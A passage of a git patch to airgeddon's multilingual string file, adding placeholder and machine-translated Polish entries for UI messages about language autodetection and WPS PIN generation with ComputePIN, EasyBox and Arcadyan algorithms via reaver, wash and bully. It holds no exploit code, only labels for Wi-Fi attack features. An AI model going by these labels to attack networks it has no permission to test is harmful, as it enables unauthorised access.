arr["RUSSIAN",468]="4. Постоянное отключение автоматического определения языка" arr["GREEK",468]="4. Απενεργοποίηση του αυτόματου εντοπισμού γλώσσας κατά την εκκίνηση μόνιμα" arr["ITALIAN",468]="4. Disattivare permanentemente il rilevamento automatico della lingua all'inizio" + arr["POLISH",468]="${pending_of_translation} " arr["ENGLISH",469]="${blue_color}Startup language autodetection will be disabled. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",469]="${blue_color}Se va a deshabilitar la autodetección de idioma al inicio. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -4699,6 +5168,7 @@ function language_strings() { arr["RUSSIAN",469]="${blue_color}Автоопределение языка при запуске будет отключено. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",469]="${blue_color}Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση θα απενεργοποιηθεί. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",469]="${blue_color}Si sta per disabilitare il rilevamento automatico della lingua all'inizio ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" + arr["POLISH",469]="${pending_of_translation} " arr["ENGLISH",470]="${blue_color}Startup language autodetection will be enabled. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",470]="${blue_color}Se va a habilitar la autodetección de idioma al inicio. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -4708,6 +5178,7 @@ function language_strings() { arr["RUSSIAN",470]="${blue_color} Автоопределение языка при запуске будет включено. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",470]="${blue_color}Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση θα ενεργοποιηθεί. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",470]="${blue_color}Si sta per abilitare il rilevamento automatico della lingua all'inizio. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" + arr["POLISH",470]="${pending_of_translation} " arr["ENGLISH",471]="Any permanent change of language you have will be lost on the next start if you enable this option!!" arr["SPANISH",471]="Cualquier cambio permanente de idioma que tenga se perderá en el siguiente inicio si activa esta opción!!" @@ -4717,6 +5188,7 @@ function language_strings() { arr["RUSSIAN",471]="При включении этой опции, сделанный выбор по изменению языка будет потерян при следующем запуске!!" arr["GREEK",471]="Οποιαδήποτε μόνιμη αλλαγή της γλώσσας θα χαθεί κατά την επόμενη εκκίνηση, αν ενεργοποιήσετε αυτή την επιλογή!!" arr["ITALIAN",471]="Qualsiasi cambio permanente di lingua si perderá nel prossimo inizio se si attiva questa opzione!!" + arr["POLISH",471]="${pending_of_translation} " arr["ENGLISH",472]="Startup language autodetection has been enabled" arr["SPANISH",472]="Se ha activado la autodetección de idioma al inicio" @@ -4726,6 +5198,7 @@ function language_strings() { arr["RUSSIAN",472]="Автоматическое определение языка было включено" arr["GREEK",472]="Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση έχει ενεργοποιηθεί" arr["ITALIAN",472]="Il rilevamento automatico della lingua all'inizio è abilitato" + arr["POLISH",472]="${pending_of_translation} " arr["ENGLISH",473]="Startup language autodetection has been disabled" arr["SPANISH",473]="Se ha desactivado la autodetección de idioma al inicio" @@ -4735,6 +5208,7 @@ function language_strings() { arr["RUSSIAN",473]="Автоматическое определение языка было отключено" arr["GREEK",473]="Ο αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση έχει απενεργοποιηθεί" arr["ITALIAN",473]="È stato disattivato il rilevamento automatico della lingua all'inizio" + arr["POLISH",473]="${pending_of_translation} " arr["ENGLISH",474]="Startup language autodetection: ${pink_color}Enabled${normal_color}" arr["SPANISH",474]="Autodetección de idioma al inicio: ${pink_color}Activada${normal_color}" @@ -4744,6 +5218,7 @@ function language_strings() { arr["RUSSIAN",474]="Автоопределение языка при запуске: ${pink_color}Включено${normal_color}" arr["GREEK",474]="Αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση: ${pink_color}Ενεργοποιημένο${normal_color}" arr["ITALIAN",474]="Rilevamento automatico della lingua all'inizio: ${pink_color}Abilitato${normal_color}" + arr["POLISH",474]="${pending_of_translation} " arr["ENGLISH",475]="Startup language autodetection: ${pink_color}Disabled${normal_color}" arr["SPANISH",475]="Autodetección de idioma al inicio: ${pink_color}Desactivada${normal_color}" @@ -4753,6 +5228,7 @@ function language_strings() { arr["RUSSIAN",475]="Автоопределение языка при запуске: ${pink_color}Отключено${normal_color}" arr["GREEK",475]="Αυτόματος εντοπισμός γλώσσας κατά την εκκίνηση: ${pink_color}Απενεργοποιημένο${normal_color}" arr["ITALIAN",475]="Rilevamento automatico della lingua all'inizio: ${pink_color}Disabilitato${normal_color}" + arr["POLISH",475]="${pending_of_translation} " arr["ENGLISH",476]="A graphical X window system has not been detected. If you already have one, check it's working properly. It's essential for airgeddon. The script can't continue" arr["SPANISH",476]="No se ha detectado un sistema gráfico de ventanas X. Si lo tienes, comprueba su que esté funcionando correctamente. Es esencial para airgeddon. El script no puede continuar" @@ -4762,6 +5238,7 @@ function language_strings() { arr["RUSSIAN",476]="Графическая X система не обнаружена. Если она уже имеется, проверьте её работоспособность. Это важно для airgeddon. Скрипт не может продолжить" arr["GREEK",476]="Δεν έχει εντοπιστεί κάποιο γραφικό σύστημα παραθύρων X. Αν έχετε ήδη ένα, ελέγξτε ότι λειτουργεί σωστά. Είναι απαραίτητο για το airgeddon. Το script δεν μπορεί να συνεχίσει" arr["ITALIAN",476]="Non è stato rilevato un server X grafico, se è presente controllare il corretto funzionamento. È essenziale per airgeddon. Lo script non può continuare" + arr["POLISH",476]="${pending_of_translation} " arr["ENGLISH",477]="The options in this menu containing the word \"permanently\" modify airgeddon to save the settings for the next time that is to be launched. However, you can always return to this menu to change the value of the option again" arr["SPANISH",477]="Las opciones de este menú que contienen la palabra \"permanentemente\", modifican airgeddon para que incluso la siguiente vez que sea iniciado siga guardando la configuración. No obstante, siempre puedes volver a este menú a cambiar de nuevo el valor de la opción" @@ -4771,6 +5248,7 @@ function language_strings() { arr["RUSSIAN",477]="Опции в этом меню, содержащие слово \"постоянное\", сохраняются в airgeddon при перезапусках программы. Однако вы всегда можете вернуться в это меню, чтобы снова изменить значение параметра" arr["GREEK",477]="Οι επιλογές σε αυτό το μενού που περιέχουν τη λέξη \"μόνιμα\" τροποποιούν το airgeddon ώστε να αποθηκεύει τις ρυθμίσεις για την επόμενη φορά. Ωστόσο, μπορείτε πάντα να επιστρέψετε σε αυτό το μενού για να αλλάξετε ξανά την τιμή της επιλογής" arr["ITALIAN",477]="Le opzioni di questo menú che contengono la parola \"permanentemente\" modificano airgeddon in modo che anche la volta successiva che viene avviato continui con la configurazione salvata. Tuttavia, si può sempre tornare a questo menú per cambiare di nuovo il valore dell'opzione" + arr["POLISH",477]="${pending_of_translation} " arr["ENGLISH",478]="${blue_color}Language is going to be set permanently to the current one, so on the next start of airgeddon it will be used directly. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",478]="${blue_color}Se va a cambiar permanentemente el idioma al actual para que al siguiente inicio de airgeddon este sea el idioma en el que arranque directamente. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -4780,6 +5258,7 @@ function language_strings() { arr["RUSSIAN",478]="${blue_color}Текущий язык будет установлен как постоянный, поэтому при следующем запуске airgeddon он будет использоваться без определения языка системы. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",478]="${blue_color}Η τρέχουσα γλώσσα πρόκειται να τεθεί μόνιμα ως προεπιλεγμένη, ώστε κατά την επόμενη εκκίνηση του airgeddon θα χρησιμοποιηθεί κατ' ευθείαν αυτή. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",478]="${blue_color}Sarà modificata in modo permanente la lingua corrente in modo che al prossimo avvio di airgeddon questa sia la lingua di avvio. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" + arr["POLISH",478]="${pending_of_translation} " arr["ENGLISH",479]="This change conflicts with the startup language autodetection which is currently enabled. It will be disabled automatically in order to perform the change" arr["SPANISH",479]="Este cambio entra en conflicto con la autodetección del idioma al inicio que en este momento está activada. Se desactivará automáticamente para poder realizar el cambio" @@ -4789,6 +5268,7 @@ function language_strings() { arr["RUSSIAN",479]="Это изменение конфликтует с автоопределением языка, которое в данный момент включено. Оно будет автоматически отключено для выполнения изменения" arr["GREEK",479]="Αυτή η αλλαγή έρχεται σε σύγκρουση με τoν αυτόματo εντοπισμό της γλώσσας εκκίνησης, ο οποίος είναι αυτή τη στιγμή ενεργοποιημένος. Θα απενεργοποιηθεί αυτόματα για να πραγματοποιηθεί η αλλαγή αυτή" arr["ITALIAN",479]="Questo cambio è in conflitto con il rilevamento automatico di lingua di inizio che è attualmente attivo. Esso viene disattivato automaticamente per poter fare il cambio" + arr["POLISH",479]="${pending_of_translation} " arr["ENGLISH",480]="Current language is the same of permanent language already set. No changes will be done" arr["SPANISH",480]="El idioma actual es el mismo que ya está puesto como permanente. No se realizarán cambios" @@ -4798,6 +5278,7 @@ function language_strings() { arr["RUSSIAN",480]="Текущий язык тот же, что и уже установленный постоянный язык. Никаких изменений не будет сделано" arr["GREEK",480]="Η τρέχουσα γλώσσα είναι ίδια με τη μόνιμη γλώσσα που έχει οριστεί ήδη. Δεν θα γίνει καμία αλλαγή" arr["ITALIAN",480]="La lingua è la stessa che è giá impostata come permanente. Nessuna modifica sará effettuata" + arr["POLISH",480]="${pending_of_translation} " arr["ENGLISH",481]="Language set to the current one permanently" arr["SPANISH",481]="Idioma cambiado al actual permanentemente" @@ -4807,6 +5288,7 @@ function language_strings() { arr["RUSSIAN",481]="Язык изменён на текущий с сохранением после перезапуска" arr["GREEK",481]="Τέθηκε μόνιμα η τρέχουσα γλώσσα" arr["ITALIAN",481]="Lingua cambiata a quella attuale permanentemente" + arr["POLISH",481]="${pending_of_translation} " arr["ENGLISH",482]="8. Italian" arr["SPANISH",482]="8. Italiano" @@ -4816,6 +5298,7 @@ function language_strings() { arr["RUSSIAN",482]="8. Итальянский" arr["GREEK",482]="8. Ιταλικά" arr["ITALIAN",482]="8. Italiano" + arr["POLISH",482]="${pending_of_translation} " arr["ENGLISH",483]="Language changed to Italian" arr["SPANISH",483]="Idioma cambiado a Italiano" @@ -4825,6 +5308,7 @@ function language_strings() { arr["RUSSIAN",483]="Язык изменён на Итальянский" arr["GREEK",483]="Η γλώσσα άλλαξε στα Ιταλικά" arr["ITALIAN",483]="Lingua cambiata in Italiano" + arr["POLISH",483]="${pending_of_translation} " arr["ENGLISH",484]="Root permissions successfully detected" arr["SPANISH",484]="Permisos de root correctamente detectados" @@ -4834,6 +5318,7 @@ function language_strings() { arr["RUSSIAN",484]="Успешно определены права root" arr["GREEK",484]="Τα δικαιώματα root έχουν παραχωρηθεί επιτυχώς" arr["ITALIAN",484]="I permessi di root sono stati rilevati correttamente" + arr["POLISH",484]="${pending_of_translation} " arr["ENGLISH",485]="${blue_color}Some PINs have been added calculated using the algorithms (ComputePIN, EasyBox, etc.), however you can add one more (Arcadyan). Calculating it requires certain data and a background scan will have to be performed. The process may be very slow. ${green_color}Do you want to proceed with the calculation to add it? ${normal_color}${visual_choice}" arr["SPANISH",485]="${blue_color}Se han añadido algunos PINs calculados por algoritmos (ComputePIN, EasyBox, etc.), pero aún se puede añadir uno más (Arcadyan). Calcularlo requiere ciertos datos y habrá que realizar un escaneo en segundo plano. Es posible que el proceso sea muy lento. ${green_color}¿Quieres proceder con el cálculo para añadirlo? ${normal_color}${visual_choice}" @@ -4843,6 +5328,7 @@ function language_strings() { arr["RUSSIAN",485]="${blue_color}Некоторые добавленные PIN были вычислены алгоритмами (ComputePIN, EasyBox, и т.д.), но вы можете добавить ещё один (Arcadyan). Для его вычисления требуются определенные данные, и необходимо выполнить фоновое сканирование. Процесс может быть очень медленным. ${green_color}Вы хотите добавить PIN, вычисленные этим алгоритмом? ${normal_color}${visual_choice}" arr["GREEK",485]="${blue_color}Έχουν προστεθεί ορισμένοι κωδικοί PIN υπολογισμένοι με τους αλγόριθμους (ComputePIN, EasyBox, κτλπ.), μπορείτε όμως να προσθέσετε άλλον έναν κωδικό (Arcadyan). Ο υπολογισμός του απαιτεί ορισμένα δεδομένα και θα πρέπει να πραγματοποιηθεί κάποιο scan στο background. Η διαδικασία αυτή μπορεί να αργοπορήσει. ${green_color}Θέλετε να συνεχίσετε με τον υπολογισμό του και να τον προσθέσετε; ${normal_color}${visual_choice}" arr["ITALIAN",485]="${blue_color}Sono stati aggiunti alcuni PIN calcolati da algoritmi (ComputePIN, EasyBox, etc.), ma è possibile aggiungerne ancora uno (Arcadyan). Il calcolo richiede alcuni dati e deve essere eseguita una scansione in secondo piano. Il processo può essere molto lento. ${green_color}Vuoi procedere con il calcolo per aggiungerlo? ${normal_color}${visual_choice}" + arr["POLISH",485]="${pending_of_translation} " arr["ENGLISH",486]="It's not possible to generate PIN with Arcadyan algorithm. To be able to do it, update wash (included in reaver package) to a newer version including the necessary \"-j\" option (1.6.2)" arr["SPANISH",486]="No es posible generar el PIN con el algoritmo Arcadyan. Para poder hacerlo actualice wash (incluido en el paquete reaver) a una versión superior que tenga la necesaria opción \"-j\" (1.6.2)" @@ -4852,6 +5338,7 @@ function language_strings() { arr["RUSSIAN",486]="Невозможно создать PIN с алгоритмом Arcadyan. Чтобы это сделать, обновите wash (включена в пакет reaver) на более новую версию, которая имеет необходимую опцию \"-j\" (1.6.2)" arr["GREEK",486]="Δεν είναι δυνατό να δημιουργηθεί PIN με τον αλγόριθμο Arcadyan. Για να το κάνετε αυτό, ενημερώστε το wash (περιλαμβάνεται στο πακέτο του reaver) σε νεότερη έκδοση, συμπεριλαμβανομένης της απαραίτητης επιλογής \"-j\" (1.6.2)" arr["ITALIAN",486]="Non è possibile generare il PIN con l'algoritmo Arcadyan. Per effettuare questa operazione, aggiornare wash (incluso nel pacchetto reaver) a una versione più nuova che disponga dell'opzione necessaria \"-j\" (1.6.2)" + arr["POLISH",486]="${pending_of_translation} " arr["ENGLISH",487]="PIN generated using Arcadyan algorithm (${normal_color}${arcadyan_pin}${yellow_color})" arr["SPANISH",487]="Se ha generado el PIN con el algoritmo Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" @@ -4861,6 +5348,7 @@ function language_strings() { arr["RUSSIAN",487]="PIN-код, созданный с использованием алгоритма Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" arr["GREEK",487]="Το PIN δημιουργήθηκε με τον αλγόριθμο Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" arr["ITALIAN",487]="Il PIN è stato generato con l'algoritmo Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" + arr["POLISH",487]="${pending_of_translation} " arr["ENGLISH",488]="PIN can't be generated using Arcadyan algorithm. Failed to collect a complete \"probe\" response from the access point. Probably because of low signal quality" arr["SPANISH",488]="No se ha podido generar el PIN con el algoritmo Arcadyan. No se ha podido recoger una respuesta \"probe\" completa del punto de acceso. Probablemente porque la señal no es buena" @@ -4870,6 +5358,7 @@ function language_strings() { arr["RUSSIAN",488]="PIN-код не может быть сгенерирован с использованием алгоритма Arcadyan. Не удалось получить полный ответ \"probe\" от точки доступа. Возможно, из-за низкого качества сигнала" arr["GREEK",488]="Το PIN δεν μπορεί να δημιουργηθεί χρησιμοποιώντας τον αλγόριθμο Arcadyan. Δεν ήταν δυνατή η συλλογή πλήρους \"probe\" response από το σημείο πρόσβασης. Πιθανόν επειδή το σήμα είναι χαμηλό" arr["ITALIAN",488]="Impossibile generare il PIN con l'algoritmo Arcadyan. Impossibile raccogliere una risposta \"probe\" completa dal punto di accesso. Probabilmente perché il segnale non è buono" + arr["POLISH",488]="${pending_of_translation} " arr["ENGLISH",489]="Attempting to collect a complete \"probe\" response from the target access point. This process can take up to 4 minutes..." arr["SPANISH",489]="Intentando recoger una respuesta \"probe\" completa del punto de acceso objetivo. Este proceso puede durar hasta 4 minutos..." @@ -4879,6 +5368,7 @@ function language_strings() { arr["RUSSIAN",489]="Попытка собрать полный запрос \"probe\" от целевой точки доступа. Этот процесс может занять до 4 минут..." arr["GREEK",489]="Γίνεται προσπάθεια συλλογής πλήρους \"probe\" response από το σημείο πρόσβασης (στόχος). Αυτή η διαδικασία μπορεί να διαρκέσει έως και 4 λεπτά..." arr["ITALIAN",489]="Cercando di raccogliere una risposta \"probe\" completa dal punto di accesso obiettivo. Questo processo può richiedere fino a 4 minuti..." + arr["POLISH",489]="${pending_of_translation} " arr["ENGLISH",490]="The Arcadyan algorithm needs a very specific data to calculate the PIN (the serial number of the access point). Getting this data can take a lot of time. You can optionally choose to try to generate it. This generated PIN is very useful in networks of type Orange-XXXX" arr["SPANISH",490]="El algoritmo Arcadyan necesita un dato muy concreto para poder calcular el PIN (el número de serie del punto de acceso). Obtener este dato puede llevar bastante tiempo. Podrás elegir opcionalmente intentar generarlo. Este PIN generado es muy útil en redes del tipo Orange-XXXX" @@ -4888,6 +5378,7 @@ function language_strings() { arr["RUSSIAN",490]="Алгоритм Arcadyan требует очень специфических данных для расчета PIN-кода (серийный номер точки доступа). Получение этих данных может занять много времени. При желании вы можете сгенерировать PIN, используя этот алгоритм. Этот сгенерированный PIN-код очень полезен в сетях типа Orange-XXXX" arr["GREEK",490]="Ο αλγόριθμος Arcadyan χρειάζεται πολύ συγκεκριμένα δεδομένα για τον υπολογισμό του PIN (ο σειριακός αριθμός του σημείου πρόσβασης). Η λήψη αυτών των δεδομένων μπορεί να χρειαστεί αρκετό χρόνο. Μπορείτε να επιλέξετε να προσπαθήσετε να το δημιουργήσετε. Tο PIN που θα δημιουργηθεί είναι πολύ χρήσιμο σε δίκτυα τύπου Orange-XXXX" arr["ITALIAN",490]="L'algoritmo Arcadyan richiede dati molto specifici per calcolare il PIN (il numero di serie del punto di accesso). Ottenere questi dati può richiedere molto tempo. Puoi scegliere opzionalmente di provare a generarlo. Questo PIN generato è molto utile nelle reti di tipo Orange-XXXX" + arr["POLISH",490]="${pending_of_translation} " arr["ENGLISH",491]="Arcadyan algorithm is not useful for the selected target network, a valid value can't be calculated" arr["SPANISH",491]="El algoritmo Arcadyan no sirve para la red objetivo seleccionada, no se puede calcular un valor válido" @@ -4897,6 +5388,7 @@ function language_strings() { arr["RUSSIAN",491]="Алгоритм Arcadyan бесполезен для выбранной целевой сети, действительное значение не может быть рассчитано" arr["GREEK",491]="Ο αλγόριθμος Arcadyan δεν είναι χρήσιμος για το επιλεγμένο δίκτυο, δεν μπορεί να υπολογιστεί έγκυρη τιμή" arr["ITALIAN",491]="L'algoritmo Arcadyan non è adatto alla rete selezionata come obiettivo, non è possibile calcolare un valore valido" + arr["POLISH",491]="${pending_of_translation} " arr["ENGLISH",492]="The Arcadyan algorithm can't be calculated. Although you chose the bully option for the attack, you need to use wash (included in reaver package) to calculate that PIN and you don't have it installed. The script will continue the attack without including it" arr["SPANISH",492]="El algoritmo Arcadyan no puede ser calculado. Aunque elegiste la opción de ataque con bully, para calcular ese PIN se necesita utilizar wash (incluido en el paquete reaver) y tú no lo tienes instalado. El script continuará el ataque sin incluirlo" @@ -4906,6 +5398,7 @@ function language_strings() { arr["RUSSIAN",492]="Алгоритм Arcadyan не может быть рассчитан. Вы выбрали опцию bully для атаки, а для расчета этого PIN-кода вам необходимо использовать wash (включенную в пакет reaver), который у вас не установлен. Скрипт продолжит атаку без этого алгоритма" arr["GREEK",492]="Ο αλγόριθμος Arcadyan δεν μπορεί να υπολογιστεί. Παρόλο που επιλέξατε την επιλογή bully για την επίθεση, χρειάζεται να χρησιμοποιήσετε το wash (περιλαμβάνεται στο πακέτο του reaver) για να υπολογίσετε το PIN και δεν το έχετε εγκαταστήσει. Το script θα συνεχίσει την επίθεση χωρίς να το συμπεριλάβει" arr["ITALIAN",492]="L'algoritmo Arcadyan non può essere calcolato. Anche se hai scelto l'opzione di attacco con bully, per calcolare quel PIN che devi usare wash (incluso nel pacchetto reaver) e non l'hai installato. Lo script continuerà l'attacco senza includerlo" + arr["POLISH",492]="${pending_of_translation} " arr["ENGLISH",493]="The Arcadyan algorithm PIN has already been calculated for this target (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). There is no need to calculate it again" arr["SPANISH",493]="El PIN del algoritmo Arcadyan ya fue calculado para este objetivo (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). No hace falta calcularlo de nuevo" @@ -4915,6 +5408,7 @@ function language_strings() { arr["RUSSIAN",493]="PIN с помощью алгоритма Arcadyan уже рассчитан для этой цели (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). Нет необходимости вычислять его снова" arr["GREEK",493]="Ο αλγόριθμος Arcadyan PIN έχει ήδη υπολογιστεί για αυτό το δίκτυο (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). Δεν χρειάζεται να υπολογιστεί ξανά" arr["ITALIAN",493]="Il PIN dell'algoritmo Arcadyan è già stato calcolato per questo obiettivo (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). Non c'è bisogno di calcolarlo di nuovo" + arr["POLISH",493]="${pending_of_translation} " arr["ENGLISH",494]="13. Offline PIN generation using algorithms and database" arr["SPANISH",494]="13. Generación offline de PINs con algoritmos y base de datos" @@ -4924,6 +5418,7 @@ function language_strings() { arr["RUSSIAN",494]="13. Офлайн генерация PIN-кода, используя алгоритмы и базу данных" arr["GREEK",494]="13. Offline δημιουργία PIN με χρήση δίαφορων αλγορίθμων και έτοιμης βάσης δεδομένων" arr["ITALIAN",494]="13. Generazione offline di PIN con algoritmi e database" + arr["POLISH",494]="${pending_of_translation} " arr["ENGLISH",495]="Offline PIN generation menu" arr["SPANISH",495]="Menú de generación offline de PINs" @@ -4933,6 +5428,7 @@ function language_strings() { arr["RUSSIAN",495]="Меню создания PIN-кода" arr["GREEK",495]="Μενού offline δημιουργίας PIN" arr["ITALIAN",495]="Menu di generazione offline dei PIN" + arr["POLISH",495]="${pending_of_translation} " arr["ENGLISH",496]="5. Search in PIN database" arr["SPANISH",496]="5. Consultar en la base de datos de PINs" @@ -4942,6 +5438,7 @@ function language_strings() { arr["RUSSIAN",496]="5. Поиск в базе данных PIN-кода" arr["GREEK",496]="5. Αναζήτηση στη βάση δεδομένων PIN" arr["ITALIAN",496]="5. Controllare il database dei PIN" + arr["POLISH",496]="${pending_of_translation} " arr["ENGLISH",497]="9. Return to WPS attacks menu" arr["SPANISH",497]="9. Volver al menú de ataques WPS" @@ -4951,6 +5448,7 @@ function language_strings() { arr["RUSSIAN",497]="9. Вернуться в меню атак WPS" arr["GREEK",497]="9. Επιστροφή στο μενού επιθέσεων WPS" arr["ITALIAN",497]="9. Tornare al menú attacchi WPS" + arr["POLISH",497]="${pending_of_translation} " arr["ENGLISH",498]="choose database or algorithm" arr["SPANISH",498]="escoge base de datos o algoritmo" @@ -4960,6 +5458,7 @@ function language_strings() { arr["RUSSIAN",498]="выбрать базу данных или алгоритм" arr["GREEK",498]="επιλέξτε βάση δεδομένων ή αλγόριθμο" arr["ITALIAN",498]="scegliere database o algoritmo" + arr["POLISH",498]="${pending_of_translation} " arr["ENGLISH",499]="Showing matches in the PIN database..." arr["SPANISH",499]="Mostrando coincidencias de la base de datos de PINs..." @@ -4969,6 +5468,7 @@ function language_strings() { arr["RUSSIAN",499]="Отображение совпадений в базе данных PIN-кода..." arr["GREEK",499]="Εμφάνιση αντιστοιχιών στη βάση δεδομένων PIN..." arr["ITALIAN",499]="Mostrando le corrispondenze del database dei PIN..." + arr["POLISH",499]="${pending_of_translation} " arr["ENGLISH",500]="Showing calculated PIN using ComputePIN algorithm..." arr["SPANISH",500]="Mostrando PIN calculado con el algoritmo ComputePIN..." @@ -4978,6 +5478,7 @@ function language_strings() { arr["RUSSIAN",500]="Отображение PIN-кода, рассчитанного с использованием алгоритма ComputePIN..." arr["GREEK",500]="Εμφανίζεται το PIN που έχει υπολογιστεί χρησιμοποιώντας τον αλγόριθμο ComputePIN..." arr["ITALIAN",500]="Mostrando il PIN calcolato utilizzando l'algoritmo ComputePIN..." + arr["POLISH",500]="${pending_of_translation} " arr["ENGLISH",501]="Showing calculated PIN using EasyBox algorithm..." arr["SPANISH",501]="Mostrando PIN calculado con el algoritmo EasyBox..." @@ -4987,6 +5488,7 @@ function language_strings() { arr["RUSSIAN",501]="Отображение PIN-кода, рассчитанного с использованием алгоритма EasyBox..." arr["GREEK",501]="Εμφανίζεται το PIN που έχει υπολογιστεί χρησιμοποιώντας τον αλγόριθμο EasyBox..." arr["ITALIAN",501]="Mostrando il PIN calcolato utilizzando l'algoritmo EasyBox..." + arr["POLISH",501]="${pending_of_translation} " arr["ENGLISH",502]="Showing calculated PIN using Arcadyan algorithm..." arr["SPANISH",502]="Mostrando PIN calculado con el algoritmo Arcadyan..." @@ -4996,6 +5498,7 @@ function language_strings() { arr["RUSSIAN",502]="Отображение PIN-кода, рассчитанного с использованием алгоритма Arcadyan..." arr["GREEK",502]="Εμφανίζεται το PIN που έχει υπολογιστεί χρησιμοποιώντας τον αλγόριθμο Arcadyan..." arr["ITALIAN",502]="Mostrando il PIN calcolato utilizzando l'algoritmo Arcadyan..." + arr["POLISH",502]="${pending_of_translation} " arr["ENGLISH",503]="It's not necessary to perform the scan again to calculate the Arcadyan algorithm PIN. This has already been done in this session" arr["SPANISH",503]="No es necesario realizar de nuevo el escaneo para calcular el PIN del algoritmo Arcadyan. Ya se realizó anteriormente en esta sesión" @@ -5005,6 +5508,7 @@ function language_strings() { arr["RUSSIAN",503]="Нет необходимости снова выполнять сканирование, чтобы вычислить PIN-код алгоритмом Arcadyan. Это уже сделано ранее в ходе этой сессии" arr["GREEK",503]="Δεν είναι απαραίτητο να εκτελέσετε ξανά το scan για να υπολογίσετε το PIN χρησιμοποιώντας τον Arcadyan αλγόριθμο. Έχει ήδη πραγματοποιηθεί σε αυτή τη συνεδρία" arr["ITALIAN",503]="Non è necessario eseguire nuovamente la scansione per calcolare il PIN dell'algoritmo Arcadyan. È già stato fatto in precedenza in questa sessione" + arr["POLISH",503]="${pending_of_translation} " arr["ENGLISH",504]="${blue_color}This PIN calculation process is not entirely offline. A complete \"probe\" response is required from the target access point to obtain a necessary data. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",504]="${blue_color}Este proceso de cálculo de PIN no es puramente offline. Hace falta una respuesta \"probe\" completa del punto de acceso objetivo para obtener un dato necesario. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -5014,6 +5518,7 @@ function language_strings() { arr["RUSSIAN",504]="${blue_color}Этот процесс расчета PIN-кода не является чисто офлайн. От целевой точки доступа требуется полный запрос \"probe\" для получения необходимых данных. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",504]="${blue_color}Αυτή η διαδικασία υπολογισμού PIN δεν είναι καθ' αυτοὺ offline. Απαιτείται ένα ολοκληρωμένο \"probe\" response από το σημείο πρόσβασης για να ληφθούν τα απαραίτητα δεδομένα. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",504]="${blue_color}Questo processo di calcolo del PIN non è puramente offline. É richiesta una risposta completa \"probe\" dal punto di accesso obiettivo per ottenere i dati necessari. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" + arr["POLISH",504]="${pending_of_translation} " arr["ENGLISH",505]="Language changed to Polish" arr["SPANISH",505]="Idioma cambiado a Polaco" From dc9e95022ed9b0b929a285a6fda44beb7553c4df Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 22 Oct 2017 13:27:34 +0200 Subject: [PATCH 12/70] Started to translate (automatic translation) polish strings --- language_strings.sh | 112 ++++++++++++++++++++++---------------------- 1 file changed, 56 insertions(+), 56 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index b7dbb11c5..60576bf35 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -478,7 +478,7 @@ function language_strings() { arr["RUSSIAN",0]="Этот интерфейс ${interface} уже в управляемом режиме" arr["GREEK",0]="Αυτή η διεπαφή ${interface} είναι ήδη σε ετερόκλητη κατάσταση" arr["ITALIAN",0]="Questa interfaccia ${interface} è già in modalità managed" - arr["POLISH",0]="${pending_of_translation} " + arr["POLISH",0]="${pending_of_translation} Ten interfejs ${interface} jest już w trybie zarządzania" arr["ENGLISH",1]="This interface ${interface} is not a wifi card. It doesn't support managed mode" arr["SPANISH",1]="Esta interfaz ${interface} no es una tarjeta wifi. No soporta modo managed" @@ -488,7 +488,7 @@ function language_strings() { arr["RUSSIAN",1]="Этот интерфейс ${interface} не является wifi картой. Он не поддерживает управляемый режим" arr["GREEK",1]="Αυτή η διεπαφή ${interface} δεν είναι κάρτα wifi. Δεν υποστηρίζει ετερόκλητη κατάσταση." arr["ITALIAN",1]="Questa interfaccia ${interface} non è una scheda wifi. Non supporta la modalità managed" - arr["POLISH",1]="${pending_of_translation} " + arr["POLISH",1]="${pending_of_translation} Interfejs ${interface} nie jest kartą wifi. Nie obsługuje trybu zarządzania" arr["ENGLISH",2]="English O.S. language detected. Supported by script. Automatically changed" arr["SPANISH",2]="Idioma Español del S.O. detectado. Soportado por el script. Se cambió automáticamente" @@ -498,7 +498,7 @@ function language_strings() { arr["RUSSIAN",2]="Определена ОС на русском. Поддерживается скриптом. Локализация автоматически изменена. Помощь на русском: https://hackware.ru/?p=670" arr["GREEK",2]="Εντοπίστηκε Ελληνική γλώσσα συστήματος. Υποστηρίξιμη από το script. Άλλαξε αυτόματα" arr["ITALIAN",2]="Lingua Italiana del S.O. rilevata. Supportata dallo script. Viene cambiata automaticamente" - 